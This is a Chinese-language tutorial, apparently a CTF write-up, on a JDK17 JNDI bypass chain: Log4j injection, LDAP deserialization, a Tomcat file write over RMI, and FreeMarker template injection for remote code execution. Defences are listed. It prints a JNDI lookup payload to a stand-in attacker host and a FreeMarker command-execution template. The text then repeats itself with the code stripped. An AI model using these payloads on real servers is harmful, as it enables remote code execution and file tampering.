jdk17的高版本jndi绕过导致文件写入新思路
字数 1680 2025-08-30 06:50:35

JDK17高版本JNDI绕过导致文件写入的新思路教学文档

1. 漏洞背景与概述

本教学文档将详细讲解一种针对JDK17高版本环境下,通过JNDI注入绕过限制实现文件写入的新颖攻击方法。该技术结合了Log4j漏洞、JDK17反序列化绕过和FreeMarker模板注入,形成一条完整的攻击链。

2. 环境分析

2.1 目标环境特征

  • JDK版本:17(高版本)
  • Web框架:Spring Boot
  • 日志组件:Log4j 2.14.1(存在漏洞版本)
  • 模板引擎:FreeMarker 2.3.30+
  • 服务器:Tomcat 9.0.63(高版本)

2.2 关键漏洞点

  1. Log4j 2.14.1的JNDI注入漏洞
  2. JDK17的反序列化限制可被绕过
  3. 存在可被利用的工具类(设置环境变量和创建目录)
  4. FreeMarker模板注入漏洞

3. 攻击链分析

3.1 第一阶段:Log4j漏洞触发

入口点/admin/name路由

触发条件

  • 当name参数包含特定符号时会进入else分支
  • 调用Logger.log方法触发Log4j漏洞

利用方式

// 示例Payload
${jndi:ldap://attacker.com/exploit}

3.2 第二阶段:JDK17 JNDI绕过

在JDK17中,com.sun.jndi.ldap.object.trustURLCodebase默认为false,无法直接进行远程类加载。但可以通过以下路径绕过:

  1. c_lookup调用Obj.decodeObject
  2. decodeObject方法中VersionHelper.isSerialDataAllowed()默认返回true
  3. 进入deserializeObject方法
  4. 最终调用readObject实现反序列化

关键代码路径

com.sun.jndi.ldap.Obj.decodeObject()
com.sun.jndi.ldap.Obj.deserializeObject()

3.3 第三阶段:工具类利用

存在一个特殊工具类可以设置环境变量和创建目录:

System.setProperty(this.dirPro.split(":")[0], this.dirPro.split(":")[1]);

利用方式
通过反序列化调用该工具类,实现目录创建和环境变量设置。

3.4 第四阶段:文件写入与RCE

技术组合

  1. 使用MemoryUserDatabaseFactory通过RMI协议进行文件写入
  2. 结合FreeMarker模板注入实现RCE

关键点

  • 路径拼接必须准确,否则会报错:"User database is not persistable - no write permissions on directory"
  • FreeMarker 2.3.30+需要沙箱绕过
  • 特殊字符需要进行编码

4. 完整攻击步骤

4.1 准备阶段

  1. 编写恶意Java类(TestDir.java)用于反序列化利用
  2. 搭建LDAP服务指向恶意类
  3. 准备RMI服务用于文件写入

4.2 攻击执行

  1. 触发Log4j漏洞

    GET /admin/name?name=${jndi:ldap://attacker-ip/Exploit} HTTP/1.1
    
  2. JDK17反序列化绕过

    • 通过LDAP服务提供恶意序列化对象
    • 触发工具类执行,创建所需目录
  3. 文件写入

    • 通过RMI服务写入恶意FreeMarker模板
    • 覆盖原有模板文件(如templates/admin.ftl
  4. 模板注入执行

    • 访问被覆盖的模板页面
    • 触发FreeMarker模板注入实现RCE

4.3 文件写入细节

路径构造示例

// 错误示例(路径不存在)
catalina.base + "../../templates" 

// 正确示例(确保路径存在)
catalina.base + "webapps/ROOT/WEB-INF/templates"

恶意FreeMarker模板内容

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

5. 防御措施

  1. Log4j防护

    • 升级Log4j至最新安全版本
    • 设置log4j2.formatMsgNoLookups=true
  2. JDK防护

    • 设置com.sun.jndi.ldap.object.trustURLCodebase=false
    • 限制JNDI访问外部资源
  3. FreeMarker防护

    • 升级至最新安全版本
    • 启用沙箱模式
    • 限制模板访问权限
  4. 其他措施

    • 审查所有可设置环境变量的代码
    • 限制目录创建权限
    • 实施文件完整性监控

6. 总结

这种攻击方式展示了现代Web应用中多重漏洞组合利用的复杂性。攻击者通过:

  1. 利用Log4j漏洞作为入口
  2. 绕过JDK17的安全限制
  3. 利用工具类功能创建攻击所需环境
  4. 最终通过模板注入实现RCE

防御需要采取纵深防御策略,覆盖应用的所有层面,从基础组件到业务逻辑代码都需要进行安全审计和加固。

JDK17高版本JNDI绕过导致文件写入的新思路教学文档 1. 漏洞背景与概述 本教学文档将详细讲解一种针对JDK17高版本环境下,通过JNDI注入绕过限制实现文件写入的新颖攻击方法。该技术结合了Log4j漏洞、JDK17反序列化绕过和FreeMarker模板注入,形成一条完整的攻击链。 2. 环境分析 2.1 目标环境特征 JDK版本:17(高版本) Web框架:Spring Boot 日志组件:Log4j 2.14.1(存在漏洞版本) 模板引擎:FreeMarker 2.3.30+ 服务器:Tomcat 9.0.63(高版本) 2.2 关键漏洞点 Log4j 2.14.1的JNDI注入漏洞 JDK17的反序列化限制可被绕过 存在可被利用的工具类(设置环境变量和创建目录) FreeMarker模板注入漏洞 3. 攻击链分析 3.1 第一阶段:Log4j漏洞触发 入口点 : /admin/name 路由 触发条件 : 当name参数包含特定符号时会进入else分支 调用 Logger.log 方法触发Log4j漏洞 利用方式 : 3.2 第二阶段:JDK17 JNDI绕过 在JDK17中, com.sun.jndi.ldap.object.trustURLCodebase 默认为false,无法直接进行远程类加载。但可以通过以下路径绕过: c_lookup 调用 Obj.decodeObject decodeObject 方法中 VersionHelper.isSerialDataAllowed() 默认返回true 进入 deserializeObject 方法 最终调用 readObject 实现反序列化 关键代码路径 : 3.3 第三阶段:工具类利用 存在一个特殊工具类可以设置环境变量和创建目录: 利用方式 : 通过反序列化调用该工具类,实现目录创建和环境变量设置。 3.4 第四阶段:文件写入与RCE 技术组合 : 使用 MemoryUserDatabaseFactory 通过RMI协议进行文件写入 结合FreeMarker模板注入实现RCE 关键点 : 路径拼接必须准确,否则会报错:"User database is not persistable - no write permissions on directory" FreeMarker 2.3.30+需要沙箱绕过 特殊字符需要进行编码 4. 完整攻击步骤 4.1 准备阶段 编写恶意Java类(TestDir.java)用于反序列化利用 搭建LDAP服务指向恶意类 准备RMI服务用于文件写入 4.2 攻击执行 触发Log4j漏洞 : JDK17反序列化绕过 : 通过LDAP服务提供恶意序列化对象 触发工具类执行,创建所需目录 文件写入 : 通过RMI服务写入恶意FreeMarker模板 覆盖原有模板文件(如 templates/admin.ftl ) 模板注入执行 : 访问被覆盖的模板页面 触发FreeMarker模板注入实现RCE 4.3 文件写入细节 路径构造示例 : 恶意FreeMarker模板内容 : 5. 防御措施 Log4j防护 : 升级Log4j至最新安全版本 设置 log4j2.formatMsgNoLookups=true JDK防护 : 设置 com.sun.jndi.ldap.object.trustURLCodebase=false 限制JNDI访问外部资源 FreeMarker防护 : 升级至最新安全版本 启用沙箱模式 限制模板访问权限 其他措施 : 审查所有可设置环境变量的代码 限制目录创建权限 实施文件完整性监控 6. 总结 这种攻击方式展示了现代Web应用中多重漏洞组合利用的复杂性。攻击者通过: 利用Log4j漏洞作为入口 绕过JDK17的安全限制 利用工具类功能创建攻击所需环境 最终通过模板注入实现RCE 防御需要采取纵深防御策略,覆盖应用的所有层面,从基础组件到业务逻辑代码都需要进行安全审计和加固。